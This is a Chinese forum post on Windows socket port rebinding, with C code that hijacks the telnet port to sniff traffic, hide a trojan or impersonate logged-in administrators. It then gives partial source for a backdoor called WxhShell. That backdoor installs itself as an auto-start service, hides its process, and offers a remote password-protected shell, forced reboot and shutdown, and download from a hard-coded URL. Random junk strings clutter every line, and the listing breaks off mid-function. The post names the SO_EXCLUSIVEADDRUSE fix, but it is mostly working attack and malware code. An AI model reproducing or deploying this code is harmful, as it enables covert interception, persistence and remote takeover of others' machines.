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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HOD?i_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5?3v;B6  
(~@.9&cBD  
  saddr.sin_family = AF_INET; S 1k*"><  
Q_ T,=y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d 6Y9D=O  
['QhC({  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $y;w@^  
II^Rp],>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .p{lzI9  
h`Jc%6o  
  这意味着什么?意味着可以进行如下的攻击: <mX5VGY9^  
J rK{MhO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dC<%D'L*  
h5{//0 y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <\*)YKjn/@  
{9J|\Zz3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W3l[a^1d  
d{TcjZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +@$VJM%^7b  
l|842N@1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ov" wcJ  
 -raK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \,v^v]|  
YBY;$&9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6cg,L:j#  
9u~C?w  
  #include L^u|= 9  
  #include zt2#K  
  #include H28-;>'`  
  #include    M"mvPr9  
  DWORD WINAPI ClientThread(LPVOID lpParam);    WLWfe-  
  int main() lf\"6VIsR  
  { /XG7M=A$o  
  WORD wVersionRequested; i~GW  
  DWORD ret; &tkPZ*}#1  
  WSADATA wsaData; s"7FmJ\7rw  
  BOOL val; *K>2B99TXu  
  SOCKADDR_IN saddr; iMry0z  
  SOCKADDR_IN scaddr; TrZ!E`~  
  int err; !B[ Y?b:  
  SOCKET s; e_Zs4\^ef  
  SOCKET sc; C&F% j.<  
  int caddsize; kFJ]F |^7  
  HANDLE mt; 7<kr|-  
  DWORD tid;   uP7|#>1%  
  wVersionRequested = MAKEWORD( 2, 2 ); +VIEDV+   
  err = WSAStartup( wVersionRequested, &wsaData ); [p\xk{7Y  
  if ( err != 0 ) { p;[.&o J  
  printf("error!WSAStartup failed!\n"); UB] tKn  
  return -1; ~+6#4<M.~  
  } :z?T /9,C  
  saddr.sin_family = AF_INET; ?n<sN"  
   w8>lWgN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7d{xXJ-  
Yy!G?>hC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n n[idw  
  saddr.sin_port = htons(23); 0o6r3xc;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5 Bcmz'?!  
  { h1)+QLI  
  printf("error!socket failed!\n"); NgGpLdaC2v  
  return -1; v&sp;%I6=  
  } 9~,!+#  
  val = TRUE; }zo-%#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q9zeN:><  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _ru<1n[4~  
  { :U1V 2f'l3  
  printf("error!setsockopt failed!\n"); x ZAg  
  return -1; uxrNkZia  
  } s5b<KQ.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TR?jT U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 11J:>A5zt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7|m{hSc  
8Z@O%\1x6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;r;>4+zn\  
  { I tn?''~;  
  ret=GetLastError(); ]~WIGl"g  
  printf("error!bind failed!\n"); +SRM?av  
  return -1; rI:]''PR  
  } ^J?2[(   
  listen(s,2); KE)^S [Da  
  while(1) 'u [cT$  
  { =F*{O=  
  caddsize = sizeof(scaddr); 0O q5;5  
  //接受连接请求 I7ySm12}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?$7$# DX  
  if(sc!=INVALID_SOCKET) V6<Ki  
  { !OH'pC5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BD ,3JDqT  
  if(mt==NULL) 51%<N\>/4  
  { D@mqfi(x  
  printf("Thread Creat Failed!\n"); {.,y v>%  
  break; ht)KS9Xu  
  } WtSlD9 h  
  } [yAR%]i-7  
  CloseHandle(mt); {*|$@%y!  
  } Z=?qf$.}  
  closesocket(s); avv/mEf-f  
  WSACleanup(); 3~0Xe  
  return 0; Bsz;GnD|r  
  }   a'@?c_y;$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7`X9s~B  
  { B415{  
  SOCKET ss = (SOCKET)lpParam; 1n ZE9;o  
  SOCKET sc; r,Pu-bhF  
  unsigned char buf[4096]; _`94CC:  
  SOCKADDR_IN saddr; xeHqC9Ou  
  long num; )\0c2_w>  
  DWORD val; Z Q9's  
  DWORD ret; iQaFR@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f1VA61z{)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   20uR?/|@  
  saddr.sin_family = AF_INET; =7("xz %  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @}N;C ..Y$  
  saddr.sin_port = htons(23); [C~{g#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T\HP5&  
  { _nnl+S>K  
  printf("error!socket failed!\n"); \RP=Gf  
  return -1; Yc'7F7.<6  
  } @*LESN>T@t  
  val = 100; b+}*@xhl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BUKh5L  
  { 5h(] S[Zf3  
  ret = GetLastError(); w3IU'(|G  
  return -1; gs|%3k|  
  } E~!FEl;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K>$od^f%c  
  { `Tf<w+H  
  ret = GetLastError(); _^ @}LVv+E  
  return -1; 0:Lm=9o  
  } kjW`k?'s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IF*kLl?  
  { hE/y"SP3  
  printf("error!socket connect failed!\n"); I-q@@! =  
  closesocket(sc); >&9Iy"  
  closesocket(ss); C>7k|;BvF  
  return -1; `qsn;  
  } eVWnD,'  
  while(1) ]HP  
  { e{9(9qE"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5G=CvGu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ffyKAZ{]po  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o'  DXd[y  
  num = recv(ss,buf,4096,0); W,>;`>  
  if(num>0) ',* 6vbII  
  send(sc,buf,num,0); hpym!G  
  else if(num==0) MhB kr{8  
  break; p.1|bXY`  
  num = recv(sc,buf,4096,0); M+^+u 1QQ0  
  if(num>0) \G*vY#]  
  send(ss,buf,num,0); (sn|`k3I  
  else if(num==0) 7[V'3  
  break; Z)(C7,Xu  
  } /T*]RO4%>]  
  closesocket(ss); *Mqg_} 0Y  
  closesocket(sc); FyQ^@@  
  return 0 ; )P.|Xk:r  
  } B|~\m ~  
D`.CXFI+U  
Efw/bTEg  
========================================================== |xaA3UA  
o0Hh&:6!M  
下边附上一个代码,,WXhSHELL L+QEFQ:r5  
fr\UX}o  
========================================================== @,sg^KB  
? B^*YCo7(  
#include "stdafx.h" ^fb4g+Au  
z{^XU"yB  
#include <stdio.h> 1}!f.cWV(  
#include <string.h> =RUKN38  
#include <windows.h> F:M3^I  
#include <winsock2.h> hD l+  
#include <winsvc.h> uBs[[9je(  
#include <urlmon.h> ~GS`@IU}  
PxK  
#pragma comment (lib, "Ws2_32.lib") te'<xfG  
#pragma comment (lib, "urlmon.lib") d8 ve$X  
Hj;j\R >2  
#define MAX_USER   100 // 最大客户端连接数 w>rglm&  
#define BUF_SOCK   200 // sock buffer G0//P .#  
#define KEY_BUFF   255 // 输入 buffer z0Gh |N@)  
diqG8KaK  
#define REBOOT     0   // 重启 A0WQZt!FEN  
#define SHUTDOWN   1   // 关机 &ze'V , :  
d|6*1hby  
#define DEF_PORT   5000 // 监听端口 $- #M~eZv  
L1"X`Pz[}  
#define REG_LEN     16   // 注册表键长度 P5vMy'1X  
#define SVC_LEN     80   // NT服务名长度 Ef$xum{  
E( *$wD  
// 从dll定义API )WEyB~'o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BbiBtU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3QS"n.d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z)7 {e"5d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9^s sT>&/  
ZwF_hm=/[  
// wxhshell配置信息 1rEhL  
struct WSCFG { Q:kpaMA1P  
  int ws_port;         // 监听端口 g[@]OsX   
  char ws_passstr[REG_LEN]; // 口令 Mk[_yqoCO  
  int ws_autoins;       // 安装标记, 1=yes 0=no #\4uu  
  char ws_regname[REG_LEN]; // 注册表键名  NP^kbF  
  char ws_svcname[REG_LEN]; // 服务名 8X*6i-j5E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WFN5&7$W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FQ(=Fnqn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }(TZ}* d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o &LNtl;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -F|(Y1OE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9[6*FAFJPP  
rxCu V  
}; ^X0<ZI  
yNY1g?E  
// default Wxhshell configuration 0R*  
struct WSCFG wscfg={DEF_PORT, jB?Tua$,s  
    "xuhuanlingzhe", 18ci-W#p  
    1, ybf`7KEP2A  
    "Wxhshell", GXRK+RHuBi  
    "Wxhshell", =`vUWONn  
            "WxhShell Service", 6eK18*j%H  
    "Wrsky Windows CmdShell Service", Fv5@-&y$W  
    "Please Input Your Password: ", XF{}St~(  
  1, |yN7#O-D  
  "http://www.wrsky.com/wxhshell.exe", le|e 4f*+  
  "Wxhshell.exe" Z10#6v  
    }; pU`Q[HOs  
Z:9"7^+  
// 消息定义模块 ga~rllm;i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uj;-HN)6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]eP&r?B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MF]s(7U4 `  
char *msg_ws_ext="\n\rExit."; bv$)^  
char *msg_ws_end="\n\rQuit."; $N5}N\C:a  
char *msg_ws_boot="\n\rReboot..."; +~02j1Jx  
char *msg_ws_poff="\n\rShutdown..."; 01#a  
char *msg_ws_down="\n\rSave to "; = ?T'@C  
{Sd{|R_  
char *msg_ws_err="\n\rErr!";  [Fr.ik  
char *msg_ws_ok="\n\rOK!"; LYavth`@h  
M_UhFY='  
char ExeFile[MAX_PATH]; OES+BXGX  
int nUser = 0; i>q]U:U  
HANDLE handles[MAX_USER]; 0P\)L`cG  
int OsIsNt; {o5E#<)  
Ck(D: % ~s  
SERVICE_STATUS       serviceStatus; %,-vmqr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0j4bu}@  
>,A:zbs&  
// 函数声明 vQ26U(7\>  
int Install(void); HRje4=:  
int Uninstall(void); I`E9]b(w  
int DownloadFile(char *sURL, SOCKET wsh); +:wOzTUN  
int Boot(int flag); :%)l* [  
void HideProc(void); SAc}5.  
int GetOsVer(void); x"5/1b3aq  
int Wxhshell(SOCKET wsl); *V3}L Z  
void TalkWithClient(void *cs); K )1K ]  
int CmdShell(SOCKET sock); i@Q)`>4  
int StartFromService(void); 4wMKl6mL  
int StartWxhshell(LPSTR lpCmdLine); +'hcFZn(T  
"F}a nPY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qS|bpC0x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :kfl q  
TQ.d|{B[  
// 数据结构和表定义 ?fc({zb  
SERVICE_TABLE_ENTRY DispatchTable[] = ^cDHyB=v4d  
{ .0cm mpUNq  
{wscfg.ws_svcname, NTServiceMain},  ]6W#P7  
{NULL, NULL} B.;/N220P  
}; .z7F58  
>j_,3{eJ  
// 自我安装 TR5"K{WDx  
int Install(void) 4=>/x90y  
{ GmPNzHDb  
  char svExeFile[MAX_PATH]; r2qxi'  
  HKEY key; oAA%pZ@  
  strcpy(svExeFile,ExeFile); dBX%/  
w,;CrW T2t  
// 如果是win9x系统,修改注册表设为自启动 b qEwi[`  
if(!OsIsNt) { rH$0h2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e ,k,L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }*hY#jo1  
  RegCloseKey(key); @T|mHfQ8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?msx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y 7|x<Z  
  RegCloseKey(key); h$G&4_O  
  return 0; 9L]x9lI;  
    } $F`jM/B6  
  } =sPY+~<o  
} 3 =KfNz_  
else { q[ ] "`?  
pZuYmMP  
// 如果是NT以上系统,安装为系统服务 Txj%o5G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }>6=(!  
if (schSCManager!=0) ,/C<GFae  
{ A+69_?B TH  
  SC_HANDLE schService = CreateService mBhG"0:  
  ( ="P 3TP  
  schSCManager, e 9U\48  
  wscfg.ws_svcname, cx&jnF#$  
  wscfg.ws_svcdisp, Gyw@+(l  
  SERVICE_ALL_ACCESS, `QC{}Oo^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5 b( [1*  
  SERVICE_AUTO_START, \vs,$h  
  SERVICE_ERROR_NORMAL, L8Z[Ly+_  
  svExeFile, 1%G<gbHpI  
  NULL, /KO!s,Nk  
  NULL, sF C&DTb?  
  NULL, S92'\2  
  NULL, ;l[/<J  
  NULL K@Twiw~rB  
  ); `f}}z5  
  if (schService!=0) cH.T6u_%  
  { |g}! F-  
  CloseServiceHandle(schService); zT6ng#  
  CloseServiceHandle(schSCManager); .1XZ9M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B)Hs>Mh|W  
  strcat(svExeFile,wscfg.ws_svcname); 4^1{UlCop  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vHcB ^Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `Yn^ -W  
  RegCloseKey(key); vHZw{'5y  
  return 0; K8$Hg:Ky-/  
    } @sO*O4os>  
  } \5BI!<  
  CloseServiceHandle(schSCManager); U{q6_z|c  
} :CV!:sUm  
} (9CB&LZ(+E  
36s[hg  
return 1; .;u(uB;J6  
} U SXz  
hY7Q$B<  
// 自我卸载  (d |  
int Uninstall(void) $h0]  
{ OY*BVJ^  
  HKEY key;  L,!Z  
9t(B{S  
if(!OsIsNt) { ]F r+cP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iNZ'qMH22  
  RegDeleteValue(key,wscfg.ws_regname); @#c(4}^ <w  
  RegCloseKey(key); jJg9M'@2!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sZ{Kl\1@  
  RegDeleteValue(key,wscfg.ws_regname); 0NK]u~T<  
  RegCloseKey(key); g+hz>^Wg  
  return 0; pM9Hav@iWU  
  } pv+FPB  
} J*F-tRuEw  
} S U~vS   
else { c|x:]W'ij  
_- H uO/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BA' ($D>  
if (schSCManager!=0) ,-ZAI b*  
{ Xw!eB?A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8RbtI4  
  if (schService!=0) g><u (3  
  { .r)WDR  
  if(DeleteService(schService)!=0) { f(=yC} si  
  CloseServiceHandle(schService); 41>Bm*if  
  CloseServiceHandle(schSCManager); ez%RWck  
  return 0; NDglse  
  }  wa6DJ  
  CloseServiceHandle(schService); c5>&~^~>Tx  
  } pMM-LY7%{  
  CloseServiceHandle(schSCManager); |tP1,[w">  
} 6Ii2rEzD  
} Fl>v9%A  
KS}Ci-  
return 1; j 9XY%4.  
} =<s+cM  
,miU'<8tQ|  
// 从指定url下载文件 ~O?Gi 4^Yg  
int DownloadFile(char *sURL, SOCKET wsh) 81V,yq]  
{ _SjS^z~  
  HRESULT hr; ?|Fu^eR%X  
char seps[]= "/"; J\b,rOIf  
char *token; \/$T 3f`x  
char *file; ptQr8[FA  
char myURL[MAX_PATH]; =\e}fyuK  
char myFILE[MAX_PATH]; 2w)0>Y(_  
}P#%aE&-  
strcpy(myURL,sURL); &NZN_%  
  token=strtok(myURL,seps); r+3V+:f  
  while(token!=NULL) FjRJSMwO,  
  { *Af]?-|^{#  
    file=token; :T" !6;  
  token=strtok(NULL,seps);  T/p}Us  
  } Wznz  
)TJz'J\*  
GetCurrentDirectory(MAX_PATH,myFILE); YiB]}/  
strcat(myFILE, "\\"); Qzw~\KY:  
strcat(myFILE, file); {6^c3R[  
  send(wsh,myFILE,strlen(myFILE),0); C_dsYuQ5R  
send(wsh,"...",3,0); ~;_]U[eOL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GeWB"(t  
  if(hr==S_OK) E)3B)(@&P  
return 0; PvBx<i}A  
else {J%Na&D  
return 1; N5#qox$D  
}>b4s!k,  
} !p >a,8w  
nS"K dPM  
// 系统电源模块 q<o*rcwf ^  
int Boot(int flag) 7)O?jc  
{ 3hab51J  
  HANDLE hToken; yBE1mA:x7:  
  TOKEN_PRIVILEGES tkp; f)H6 n l7r  
~mOGNf?f  
  if(OsIsNt) { `* "u"7e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yd~K\tX :n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 25BW/23}e  
    tkp.PrivilegeCount = 1; ^_9 ^iL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %P0dY:L~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v Q[{<|K  
if(flag==REBOOT) { l " pCxA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vP^]Y.6  
  return 0; d#Sc4xuf  
} DalQ.   
else { y A?>v'K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xr&wV0O '  
  return 0; fO[X<|9  
} `J[(Dx'y=t  
  } G]E$U]=9r:  
  else { V.)y7B  
if(flag==REBOOT) { 2hEB?ZAQZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (9*s:)zD-  
  return 0; @ \J RxJ  
} /%po@Pm#I  
else { D%(9ot{!e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^c83_93)R  
  return 0; bxyEn'vNvQ  
} tPPnW  
} $_k'!/5  
t>7t4>X  
return 1; yY_G;Wk  
} `~UCWK  
g-E!*K  
// win9x进程隐藏模块 \3n{%\_  
void HideProc(void) & d\`=e  
{ #i-!:6sLA  
m?'5*\(ST  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bR?-B>EB  
  if ( hKernel != NULL ) Fe.Y4\xz  
  { kuu9'Sqc'b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7loCb4Hv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BnvUPDT&  
    FreeLibrary(hKernel); F+*>q  
  } )wP0U{7?v  
}r]WB)_w  
return; r/HKxXT  
} s#`%c({U|  
SW (7!`  
// 获取操作系统版本 {.bLh 0  
int GetOsVer(void) 5 usfyY]z  
{ daaUC  
  OSVERSIONINFO winfo; r=n|MT^O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?)<zrE5p  
  GetVersionEx(&winfo); aw/Y#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  4D"IAI  
  return 1; |}^[f]  
  else h#zx^F1  
  return 0; ZB:Fjq  
} !s.G$ JS<  
jPP aL]  
// 客户端句柄模块 |(}uagfrd  
int Wxhshell(SOCKET wsl) 2]eh[fRQ  
{ $qD8vu )|j  
  SOCKET wsh; q?[{fcNh$  
  struct sockaddr_in client; d%1S6eYa'  
  DWORD myID; G(JvAe]r  
Q}^ n  
  while(nUser<MAX_USER) \-GV8A2:k  
{ (*&6XTV(  
  int nSize=sizeof(client); 6NbIT[LvT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *D~@xypy  
  if(wsh==INVALID_SOCKET) return 1; Id]WKL:  
SjKIn-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3 C=nC  
if(handles[nUser]==0) _8\Uukm  
  closesocket(wsh); kOVx]=  
else K).X=2gjY  
  nUser++; 6'(5pt  
  } y 97QqQ^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $LAaG65V  
$Pzvv`f*  
  return 0; 4I"QT(;  
} EYGJDv(S  
TnL%_!V!  
// 关闭 socket MgHyKn'rL  
void CloseIt(SOCKET wsh) WaWT 5|A  
{ }tft@,dIC  
closesocket(wsh); q]<Xx{_  
nUser--; tFwQ /  
ExitThread(0); ?Y ) Qy,  
} ^>GL<1 1  
1kio.9NIp  
// 客户端请求句柄 ?P<&8eY  
void TalkWithClient(void *cs) s?~Abj_  
{ &BG^:4b  
2s-f?WetbP  
  SOCKET wsh=(SOCKET)cs; @WhcY*R2  
  char pwd[SVC_LEN]; #$jAGt3^BT  
  char cmd[KEY_BUFF]; >+u5%5-wr  
char chr[1]; dAEz hR[=  
int i,j; %E1~I\n:F  
hx)Ed  
  while (nUser < MAX_USER) { 5y=X?hF~)  
Ip8 Ap$  
if(wscfg.ws_passstr) { feNr!/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fQ#mx.|8y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lqX]'gu]\  
  //ZeroMemory(pwd,KEY_BUFF); FX}<F0([?  
      i=0; '(2G qX!  
  while(i<SVC_LEN) { |+!Jr_ By  
4DuZF -y  
  // 设置超时 En5Bsz !  
  fd_set FdRead; ed{z^!w4  
  struct timeval TimeOut; }5Y.N7F  
  FD_ZERO(&FdRead); &`@,mUi{Ac  
  FD_SET(wsh,&FdRead); !!2~lG<]  
  TimeOut.tv_sec=8; +R2  
  TimeOut.tv_usec=0; >%#J8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zs+6Zd4f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (d#?\  
5? c4aAn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &\0LR?Nh  
  pwd=chr[0]; a2dF(H  
  if(chr[0]==0xd || chr[0]==0xa) { UY}lJHp0  
  pwd=0; WNm,r>6m  
  break;  `Yoafa  
  } G9E?   
  i++; 7:x.08  
    } akd~Z  
2$\1v*:  
  // 如果是非法用户,关闭 socket v#-%_V>ph  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ao{wd1  
}  M?}2  
C,tlp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >kC@7h5)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]NTHit^EX  
kdxs{b"t  
while(1) { >#!n"i;  
DKK200j  
  ZeroMemory(cmd,KEY_BUFF); zc/S  
i.F[.-.  
      // 自动支持客户端 telnet标准   <LBMth  
  j=0; H7l[5 ib  
  while(j<KEY_BUFF) { z w5EaY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vf5[x!4  
  cmd[j]=chr[0]; Em4TEv  
  if(chr[0]==0xa || chr[0]==0xd) { =@3Qsd  
  cmd[j]=0; W!IK>IW"  
  break; } k5pfz  
  } ld9 zOq  
  j++;  U,Z(h  
    } O~ qB  
rzqCQZHL5  
  // 下载文件 vja^ O  
  if(strstr(cmd,"http://")) { _BR>- :Jr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L0+@{GP?  
  if(DownloadFile(cmd,wsh)) xg3G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B"+Ygvxb  
  else 3l4k2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]j1BEO!Bg  
  } &p=~=&g=  
  else { *l7 ojv  
Bljh'Qp>C  
    switch(cmd[0]) { E(u[?  
  +?mZ_sf8w  
  // 帮助 =FwFqjvl  
  case '?': { T( ;BEyc?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _II;$_N  
    break; f, ;sEV  
  } =q6yb@  
  // 安装 |W#^L`!G  
  case 'i': { {?5EOp~  
    if(Install()) (q +Q.Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qz<v. _  
    else oO= 6Kd+T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v t(kL(}v  
    break; U6M4}q(N]  
    } zEks4yd  
  // 卸载 DbOWnXV"o  
  case 'r': { _Z8zD[l  
    if(Uninstall()) N|7._AR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Vp&f%u+v  
    else m4 4aK qw)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /]+t$K\cBq  
    break; .5ingB3%  
    } zH|!O!3"4  
  // 显示 wxhshell 所在路径 g00XZ0@  
  case 'p': { H 5sj% v  
    char svExeFile[MAX_PATH]; Q >sq:R+'  
    strcpy(svExeFile,"\n\r"); {a(YV\^y|H  
      strcat(svExeFile,ExeFile); D, 3x:nK  
        send(wsh,svExeFile,strlen(svExeFile),0);  Y9PG  
    break; 6'qs=Ql  
    } B&.XGo)  
  // 重启 B3I< $  
  case 'b': { j\Q_NevV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3!*J;Y  
    if(Boot(REBOOT)) o ue;$8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0eUsvzz 15  
    else { RYvS,hf 6z  
    closesocket(wsh); 4; &(  
    ExitThread(0); 8c~b7F \  
    } ~G"6^C:x  
    break; Kq.)5%~>  
    } RJd55+h  
  // 关机 [kC-g @  
  case 'd': { y;Dw%m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tSQ>P -O  
    if(Boot(SHUTDOWN)) 8G{} r  
